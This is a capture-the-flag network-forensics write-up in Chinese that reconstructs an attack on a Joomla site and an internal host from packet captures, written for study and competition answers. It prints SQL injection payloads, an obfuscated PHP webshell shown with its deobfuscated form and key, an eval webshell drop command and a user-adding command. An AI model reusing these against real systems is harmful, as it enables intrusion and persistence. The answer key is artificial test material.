jo_1

1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

拿到大流量包首先需要过滤,我们这里先追踪所有http流

【1】

url解码,明显的sql语句

http://202.1.1.1:8000/index.php?option=com_contenthistory&view=history&list[ordering]=") AS QSXp WHERE 9940=9940 OR EXP(~(SELECT * FROM (SELECT CONCAT(0x71626a6b71,(SELECT (ELT(5860=5860,1))),0x716a717671,0x78))x))-- rbAp&item_id=1&type_id=1&list[select]=(*

使用的攻击工具是sqlmap

【2】

1.所以可以断定,受害主机的网卡IP地址为

192.168.1.8

2.注入参数为

list[select]

tcp追踪查看,回显

Error: 500 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x71717a7671,(SELECT (ELT(8465=846' at line 1 SQL=SELECT () OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x71717a7671,(SELECT (ELT(8465=8465,1))),0x71716b6b71)) USING utf8))) AND (6678=6678,uc.name AS editor
FROM `ajtuc_ucm_history` AS h
LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`					

【3】

易知,第一个受害主机的表前缀(需加下划线)是

ajtuc_

过滤找到所有受害机和攻击机的http协议

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
//查找包含地址192.168.1.8和202.1.1.2的http流量

【4】

找到最后一条,追踪TCP,把请求URL解码

GET /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(UPDATEXML(5733,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(sendEmail AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),6657)) HTTP/1.1

4.所以数据库名称为joomla

继续搜索有关键词password的POST请求

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http contains "password" && http.request.method==POST
//查找包含地址192.168.1.8和202.1.1.2,携带关键词password的POST请求流量

【5】

没有发现有用的登录信息

猜想可能是sql注入中得到的密码

ip.dst == 192.168.1.8 && http contains "password"
//查找目的地址为192.168.1.8,携带关键词password的流量

ip.dst 查找目的地址

ip.src查找源地址

三条回显

Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

观察sql语句的构造,去掉前缀qqzvq和后缀qqkkq

得到

  1. $2y$10$lXujU7XaUviJDig
  2. FMzKy6.wx7EMCBqpzrJdn7
  3. zi/8B2QRD7qIlDJe

5.拼接得到加密过的密码

$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe
//这是加密后的密码,还需要解密。原理未知...

查找目的地址为192.168.1.8的httpo流量

ip.dst == 192.168.1.8 && http

最后看到一个kkkaaa.php,应该就是上传的🐎了

第二个数据包,继续过滤

ip.addr ==192.168.1.8 && http contains "kkkaaa.php"

发现使用base64方式连接,根据流量特征可以判断出webshell客户端是中国菜刀

常规webshell工具流量特征分析可以看我其他文章

【6】

6.第一个上传🐎的密码是

zzz

继续往下检查,发现有一个流的数据与众不同,携带了很多十六进制字符串。转换一下看内容是什么

【7】

<?php.$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';.$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';.$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';.$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';.$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';.$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';.$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';.$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';.$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');.$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';.$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';.$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';.$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';.$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';.$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);.$N=$j('',$x);$N();.?>.

应该是混淆过后的,解混淆不太会。贴大佬点

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $i = $m[1][0] . $m[1][1];
        $h = strtolower(substr(md5($i . "cb42"), 0, 3));
        $f = strtolower(substr(md5($i . "e130"), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) {
            $p .= $q[$m[2][$z]];
        }
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = substr($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = "cb42e130";
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), "cb42e130"));
                print "<{$k}>{$d}</{$k}>";
                @session_destroy();
            }
        }
    }
}

7.第二次上传php🐎时间

【8】

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

8.第二次上传的🐎通过

HTTP_REFERER和HTTP_ACCEPT_LANGUAGE

传递数据

筛选php文件

ip.addr ==192.168.1.8 && http contains "php"

发现只有kkkaaa.php和footer.php,所以第二个木马名字是footer.php

筛选mysql流量

ip.addr ==192.168.1.8 && mysql 

第4个包才能找到和MySQL有关的数据

最后登陆成功

【9】

9.内网主机的mysql用户名是

admin

请求连接的密码hash是

1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

10.php代理第一次被使用时最先连接了

4.2.2.2

获取目录需要用到ls命令或者dir

其实前面已经可以看出来是Windows服务器,所以只搜索dir就可以

ip.addr==192.168.1.8  && (http contains "ls" ||http contains "dir")

在第9个包可以找到

【11】

11.所以黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在

【12】

内网主机的ip为 192.168.2.20 ,查询内网主机

ip.addr ==192.168.2.20 &&http

解码一下

http://192.168.2.20/install/index.php?0=system&1=echo%20%22%3C?php%20eval($_POST[123]);?%3E%22%20%3E%20sh.php

得到

http://192.168.2.20/install/index.php?0=system&1=echo "<?php eval($_POST[123]);?>" > sh.php

故此黑客通过1.8服务器作为跳板,在2.20机器上写下内容为

<?php eavl($_POST[123]);?>sh.php文件

NO.375854只有三个用户

NO.378885多了一个用户kaka

所以肯定是在这之间添加的新用户

【16】

base64解码

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
用户名kaka 密码 kaka

过滤post流量

ip.dst == 192.168.2.20 && http.request.method==POST

NO.431557

解码

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

13.内网下载的文件名为

lsass.exe_180208_185247.dmp

参考文献:

2018信息安全铁人三项第三赛区数据赛题解 - 1go0 - 博客园
1.黑客攻击的第一个受害主机的网卡IP地址 2.黑客对URL的哪一个参数实施了SQL注入 过滤http包可以看出,攻击者ip 202.1.1.2 服务器ip 192.168.1.8 并对list[se